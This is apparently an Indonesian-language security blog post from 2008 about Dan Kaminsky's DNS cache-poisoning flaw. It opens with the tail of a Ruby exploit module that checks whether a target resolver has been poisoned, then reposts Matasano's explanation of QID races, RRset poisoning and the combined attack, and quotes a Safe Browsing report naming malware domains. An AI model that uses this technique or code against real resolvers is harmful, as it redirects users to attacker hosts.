# every so often, check and see if the target is poisoned…
if queries % 250 == 0
begin
query = Resolv::DNS::Message.new
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
query.rd = 0

srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()

if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == hostname and data.address.to_s == address)
print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}")
disconnect_ip
return
end
end
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
end
end

end

end

end
end

Tiap orang berpendapat beda-beda, namun rasanya memang cukup aneh jika informasi tentang DNS vuln yang membuat masyarakat penasaran leaked begitu saja. Dimulai dari posting halvar flake pada mailing list dailydave yang awalnya mempertanyakan apakah salah jika berspekulasi tentang DNS bugs karena Dan Kaminsky membuat pernyataan kepada publik untuk tidak berdiskusi tentang DNS bugs yang akan di presentasikan nya di blackhat mendatang. Spekulasi halvar dijadikan sebagai alasan atau referensi bagi matasano untuk memposting informasi lebih lengkap tentang bugs DNS tersebut.

Thomas ptacek dan Dino Dai Zovi dari matasano sempat melakukan teleconference khusus dengan Dan Kaminsky mengenai bugs DNS, dan bisa dikatakan bahwa mereka mendapatkan informasi cukup lengkap dan berjanji untuk tidak mempublish kepada masyarakat. Tapi sepertinya skenario berubah, dan postingan matasano tentang informasi DNS tersebut dinyatakan ‘kecelakaan’ . Postingan matasano menjadikan spekulasi halvar sebagai referensi. Dan sekarang, kredibilitas Thomas mulai dipertanyakan karena tidak bisa menjaga rahasia dengan baik dan membuatnya leak ke internet (walaupun postingan matasano sudah di hapus dari blog, namun sudah menyebar luas di internet via blog / feed).

Mungkin benar kata Stephen Esser, semua ini hanya bentuk lain dari drama theater yang skenarionya sudah dipersiapkan sebelumnya. Atau hanya persaingan antar white-hat yang ‘terpesona’ dengan metode patch Dan Kaminsky yang belum pernah dilakukan sebelumnya dan dengan segala cara ingin merusak jalan cerita?! layaknya naluri hacker yang ingin terus merusak alur program dengan kutak katik EIP dan bypass ASLR maupun DEP atau /GS?! Well, apapun ceritanya bugs DNS ini tetap menarik, kalaupun bugs ini berbeda dengan bugs DNS yang ditemukan oleh Dan Kaminsky maka spekulasi halvar flake merupakan jenis bugs yang cukup berbahaya juga.

Anyway, ini postingan dari Matasano yang memeberikan gambaran cukup lengkap tentang bugs pada protokol DNS (yap, protokol, itu sebabnya cukup sulit ditemukan oleh researcher biasa yang umumnya tidak memahami protokol dengan baik).

######################### By Matasano

Reliable DNS Forgery in 2008: Kaminsky’s Discovery

0.

The cat is out of the bag. Yes, Halvar Flake figured out the flaw Dan Kaminsky will announce at Black Hat.

1.

Pretend for the moment that you know only the basic function of DNS — that it translates WWW.VICTIM.COM into 1.2.3.4. The code that does this is called a resolver. Each time the resolver contacts the DNS to translate names to addresses, it creates a packet called a query. The exchange of packets is called a transaction. Since the number of packets flying about on the internet requires scientific notation to express, you can imagine there has to be some way of not mixing them up.

Bob goes to to a deli, to get a sandwich. Bob walks up to the counter, takes a pointy ticket from a round red dispenser. The ticket has a number on it. This will be Bob’s unique identifier for his sandwich acquisition transaction. Note that the number will probably be used twice — once when he is called to the counter to place his order and again when he’s called back to get his sandwich. If you’re wondering, Bob likes ham on rye with no onions.

If you’ve got this, you have the concept of transaction IDs, which are numbers assigned to keep different transactions in order. Conveniently, the first sixteen bits of a DNS packet is just such a unique identifier. It’s called a query id (QID). And with the efficiency of the deli, the QID is used for multiple transactions.

2.

Until very recently, there were two basic classes of DNS vulnerabilities. One of them involves mucking about with the QID in DNS packets and the other requires you to know the Deep Magic.

First, QIDs.

Bob’s a resolver and Alice is a content DNS server. Bob asks Alice for the address of WWW.VICTIM.COM. The answer is 1.2.3.4. Mallory would like the answer to be 6.6.6.0.

It is a (now not) secret shame of mine that for a great deal of my career, creating and sending packets was, to me, Deep Magic. Then it became part of my job, and I learned that it is surprisingly trivial. So put aside the idea that forging IP packets is the hard part of poisoning DNS. If I’m Mallory and I’m attacking Bob, how can he distinguish my packets from Alice’s? Because I can’t see the QID in his request, and the QID in my response won’t match. The QID is the only thing protecting the DNS from Mallory (me).

QID attacks began in the olden days, when BIND simply incremented the QID with every query response. If you can remember 1995, here’s a workable DNS attack. Think fast: 9372 + 1. Did you get 9372, or even miss and get 9373? You win, Alice loses. Mallory sends a constant stream of DNS responses for WWW.VICTIM.COM. All are quietly discarded —- until Mallory gets Bob to query for WWW.VICTIM.COM. If Mallory’s response gets to your computer before the legitimate response arrives from your ISP’s name server, you will be redirected where Mallory tells you you’re going.

Obvious fix: you want the QID be randomly generated. Now Alice and Mallory are in a race. Alice sees Bob’s request and knows the QID. Mallory has to guess it. The first one to land a packet with the correct QID wins. Randomized QIDs give Alice a big advantage in this race.

But there’s a bunch more problems here:

If you convince Bob to ask Alice the same question 1000 times all at once, and Bob uses a different QID for each packet, you made the race 1000 times easier for Mallory to win.

If Bob uses a crappy random number generator, Mallory can get Bob to ask for names she controls, like WWW.EVIL.COM, and watch how the QIDs bounce around; eventually, she’ll break the RNG and be able to predict its outputs.

16 bits just isn’t big enough to provide real security at the traffic rates we deal with in 2008.

Your computer’s resolver is probably a stub. Which means it won’t really save the response. You don’t want it to. The stub asks a real DNS server, probably run by your ISP. That server doesn’t know everything. It can’t, and shouldn’t, because the whole idea of DNS is to compensate for the organic and shifting nature of internet naming and addressing. Frequently, that server has to go ask another, and so on. The cool kids call this “recursion”.

Responses carry another value, too, called a time to live (TTL). This number tells your name server how long to cache the answer. Why? Because they deal with zillions of queries. Whoever wins the race between Alice and Mallory, their answer gets cached. All subsequent responses will be dropped. All future requests for that same data, within the TTL, come from that answer. This is good for whoever wins the race. If Alice wins, it means Mallory can’t poison the cache for that name. If Mallory wins, the next 10,000 or so people that ask that cache where WWW.VICTIM.COM is go to 6.6.6.0.

3.

Then there’s that other set of DNS vulnerabilities. These require you to pay attention in class. They haven’t really been talked about since 1997. And they’re hard to find, because you have to understand how DNS works. In other words, you have to be completely crazy. Lazlo Hollyfeld crazy. I’m speaking of course of RRset poisoning.

DNS has a complicated architecture. Not only that, but not all name servers run the same code. So not all of them implement DNS in exactly the same way. And not only that, but not all name servers are configured properly.

I just described a QID attack that poisons the name server’s cache. This attack requires speed, agility and luck, because if the “real” answer happens to arrive before your spoofed one, you’re locked out. Fortunately for those of you that have a time machine, some versions of DNS provide you with another way to poison the name server’s cache anyway. To explain it, I will have to explain more about the format of a DNS packet.

DNS packets are variable in length and consist of a header, some flags and resource records (RRs). RRs are where the goods ride around. There are up to three sets of RRs in a DNS packet, along with the original query. These are:

Answer RR’s, which contain the answer to whatever question you asked (such as the A record that says WWW.VICTIM.COM is 1.2.3.4)

Authority RR’s, which tell resolvers which name servers to refer to to get the complete answer for a question

Additional RR’s, sometimes called “glue”, which contain any additional information needed to make the response effective.

A word about the Additional RR’s. Think about an NS record, like the one that COM’s name server uses to tell us that, to find out where WWW.VICTIM.COM is, you have to ask NS1.VICTIM.COM. That’s good to know, but it’s not going to help you unless you know where to find NS1.VICTIM.COM. Names are not addresses. This is a chicken and egg problem. The answer is, you provide both the NS record pointing VICTIM.COM to NS1.VICTIM.COM, and the A record pointing NS1.VICTIM.COM to 1.2.3.1.

Now, let’s party like it’s 1995.

Download the source code for a DNS implementation and hack it up such that every time it sends out a response, it also sends out a little bit of evil — an extra Additional RR with bad information. Then let’s set up an evil server with it, and register it as EVIL.COM. Now get a bunch of web pages up with IMG tags pointing to names hosted at that server.

Bob innocently loads up a page with the malicious tags which coerces his browser resolve that name. Bob asks Alice to resolve that name. Here comes recursion: eventually the query arrives at our evil server. Which sends back a response with an unexpected (evil) Additional RR.

If Alice’s cache honors the unexpected record, it’s 1995 —- buy CSCO! —- and you just poisoned their cache. Worse, it will replace the “real” data already in the cache with the fake data. You asked where WWW.EVIL.COM was (or rather, the image tags did). But Alice also “found out” where WWW.VICTIM.COM was: 6.6.6.0. Every resolver that points to that name server will now gladly forward you to the website of the beast.

4.

It’s not 1995. It’s 2008. There are fixes for the attacks I have described.

Fix 1:

The QID race is fixed with random IDs, and by using a strong random number generator and being careful with the state you keep for queries. 16 bit query IDs are still too short, which fills us with dread. There are hacks to get around this. For instance, DJBDNS randomizes the source port on requests as well, and thus won’t honor responses unless they come from someone who guesses the ~16 bit source port. This brings us close to 32 bits, which is much harder to guess.

Fix 2:

The RR set poisoning attack is fixed by bailiwick checking, which is a quirky way of saying that resolvers simply remember that if they’re asking where WWW.VICTIM.COM is, they’re not interested in caching a new address for WWW.GOOGLE.COM in the same transaction.

Remember how these fixes work. They’re very important.

And so we arrive at the present day.

5.

Let’s try again to convince Bob that WWW.VICTIM.COM is 6.6.6.0.

This time though, instead of getting Bob to look up WWW.VICTIM.COM and then beating Alice in the race, or getting Bob to look up WWW.EVIL.COM and slipping strychnine into his ham sandwich, we’re going to be clever (sneaky).

Get Bob to look up AAAAA.VICTIM.COM. Race Alice. Alice’s answer is NXDOMAIN, because there’s no such name as AAAAA.VICTIM.COM. Mallory has an answer. We’ll come back to it. Alice has an advantage in the race, and so she likely beats Mallory. NXDOMAIN for AAAAA.VICTIM.COM.

Alice’s advantage is not insurmountable. Mallory repeats with AAAAB.VICTIM.COM. Then AAAAC.VICTIM.COM. And so on. Sometime, perhaps around CXOPQ.VICTIM.COM, Mallory wins! Bob believes CXOPQ.VICTIM.COM is 6.6.6.0!

Poisoning CXOPQ.VICTIM.COM is not super valuable to Mallory. But Mallory has another trick up her sleeve. Because her response didn’t just say CXOPQ.VICTIM.COM was 6.6.6.0. It also contained Additional RRs pointing WWW.VICTIM.COM to 6.6.6.0. Those records are in-bailiwick: Bob is in fact interested in VICTIM.COM for this query. Mallory has combined attack #1 with attack #2, defeating fix #1 and fix #2. Mallory can conduct this attack in less than 10 seconds on a fast Internet link.

Sampai sekarang status situs Departemen Keuangan masih seperti itu jika kita browsing menggunakan Firefox dengan feature safe browsing Google. Berikut ini hasil analisis google:

Of the 200 pages we tested on the site over the past 90 days, 2 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 07/06/2008, and the last time suspicious content was found on this site was on 07/03/2008.

Malicious software includes 8 trojan(s), 1 scripting exploit(s). Successful infection resulted in an average of 5 new processes on the target machine.

Malicious software is hosted on 7 domain(s), including heihei117.cn , o7n9.cn , killpp.cn .

3 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including heihei117.cn , qiqicc.cn , maigol.cn .

Mungkin situs Departemen Keuangan Indonesia masuk dalam daftar korban mass-sql-attack yang dilancarkan group hacking beberapa bulan terakhir (diindikasikan group ini berasal dari china, tapi siapapun bisa setup hosting di china). Ronald Van Den Heetkamp pernah membahas masalah ini pada blognya .

Hm, sepertinya aksi deface group ini lebih ‘menantang’ dibandingkan aksi deface orang-orang Indonesia, bukan begitu ?!

Do Not Try It @home kidds!